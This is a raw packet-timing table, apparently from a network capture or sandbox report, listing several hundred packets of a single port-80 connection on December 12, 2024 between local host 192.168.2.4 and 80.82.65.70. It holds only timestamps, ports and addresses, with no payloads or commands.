Dec 12, 2024 20:37:05.837074041 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.837126017 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.837544918 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.837594032 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.838205099 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.838255882 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.838300943 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.838351011 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.933041096 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.933207035 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.933336973 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.933562994 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.933619976 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.933916092 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.933971882 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.934456110 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.934515953 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.934652090 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.935430050 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.935487032 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.935659885 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.935712099 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.936408043 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.936455011 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.936594009 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.936640024 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.937391043 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.937439919 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.937566996 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.937618017 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.938350916 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.938425064 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.938541889 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.938596964 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.939378023 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.939584017 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.939644098 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.940412998 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.940465927 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.940633059 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.940682888 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.941265106 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.941313982 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.941447020 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.941490889 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.942250013 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.942301989 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.942437887 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.942485094 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.943273067 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.943490028 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.943543911 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.944224119 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.944274902 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.944391012 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.944439888 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.945159912 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.945225000 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.945363998 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.946130991 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.946172953 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.946417093 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.946460962 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.947139978 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.947191000 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.947350979 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.947402000 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.948246002 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.948371887 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.948422909 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.949054003 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.949189901 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.949245930 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.949286938 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.949990988 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.950033903 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.950185061 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.950225115 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.950973034 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.951025963 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.951133013 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.951189995 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.951942921 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.951997042 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.952140093 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.952182055 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.952898979 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.952965021 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.953099012 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.953156948 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.953913927 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.953967094 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.954107046 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.954159975 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.954876900 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.954925060 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.955070019 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.955142021 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.955874920 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.955926895 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.956109047 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.956212997 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.956796885 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.956862926 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.956980944 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.957082987 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.957848072 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.957895994 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.957997084 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.958055019 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.006417036 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.006584883 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.006752968 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.006889105 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.006947041 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.007203102 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.007272959 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.007699013 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.007746935 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.007970095 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.008021116 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.008696079 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.008745909 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.008883953 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.008929968 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.009643078 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.009691000 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.009844065 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.009891987 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.010679960 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.010898113 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.010947943 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.011629105 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.011677027 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.011804104 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.011852026 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.012567043 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.012626886 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.012744904 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.012789965 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.013550043 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.013592958 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.013720036 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.013761997 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.014539957 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.014585018 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.014714956 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.015467882 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.015481949 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.015527964 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.015680075 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.015722036 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.016480923 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.016654968 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.016710997 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.017425060 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.017471075 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.017621994 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.017664909 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.018431902 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.018487930 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.018645048 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.018688917 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.019550085 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.019607067 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.019709110 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.019777060 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.020359993 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.020412922 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.020550966 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.020593882 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.021297932 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.021352053 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.021496058 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.021541119 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.022430897 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.022485971 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.022589922 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.022650003 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.023289919 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.023344040 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.023511887 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.023559093 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.024250984 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.024302959 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.024429083 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.024468899 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.025458097 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.025511026 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.025701046 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.025757074 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.026292086 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.026350975 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.026456118 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.026531935 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.027210951 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.027266026 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.027417898 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.027467012 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.028233051 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.028414011 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.028434038 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.028460979 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.029200077 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.029249907 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.029344082 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.029411077 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.030065060 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.030112982 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.030261040 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.030304909 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.031038046 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.031157970 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.031182051 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.031246901 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.129657984 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.129865885 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.130070925 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.130203962 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.130260944 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.130569935 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.130618095 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.131169081 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.131386995 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.131438017 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.132122993 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.132173061 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.132383108 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.132436037 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.133218050 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.133300066 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.133436918 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.133483887 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.134118080 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.134166002 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.134268045 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.134315968 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.135091066 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.135267973 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.135319948 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.136092901 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.136140108 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.136271000 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.136312962 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.136996984 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.137042046 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.137231112 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.137278080 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.137963057 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.138008118 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.138187885 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.138228893 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.139000893 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.139054060 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.139235020 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.139277935 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.140037060 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.140085936 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.140191078 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.140311003 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.140898943 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.140940905 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.141045094 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.141156912 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.141814947 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.141897917 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.141999006 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.142045021 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.142817020 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.142863035 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.143030882 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.143074989 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.143800974 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.143851042 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.144012928 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.144054890 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.144810915 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.144859076 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.144964933 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.145015955 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.145752907 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.145801067 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.145977974 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.146017075 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.146719933 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.146766901 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.146871090 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.146914005 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.147669077 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.147722006 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.147844076 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.147891045 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.148689985 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.148744106 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.148835897 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.148878098 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.149816036 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.149862051 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.149962902 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.150002003 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.150614977 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.150659084 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.150806904 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.150849104 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.151565075 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.151609898 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.151724100 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.151763916 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.152591944 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.152637005 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.152825117 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.152936935 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.153491974 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.153532982 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.153655052 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.153776884 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.154625893 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.154786110 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.154854059 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.198493958 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.198519945 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.198543072 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.198635101 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.198671103 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.198950052 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.199002028 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.199529886 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.199579954 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.199727058 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.199773073 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.200572014 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.200627089 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.200758934 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.200809002 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.201440096 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.201493025 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.201649904 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.201699972 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.202385902 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.202433109 CET	49738	80	192.168.2.4	80.82.65.70
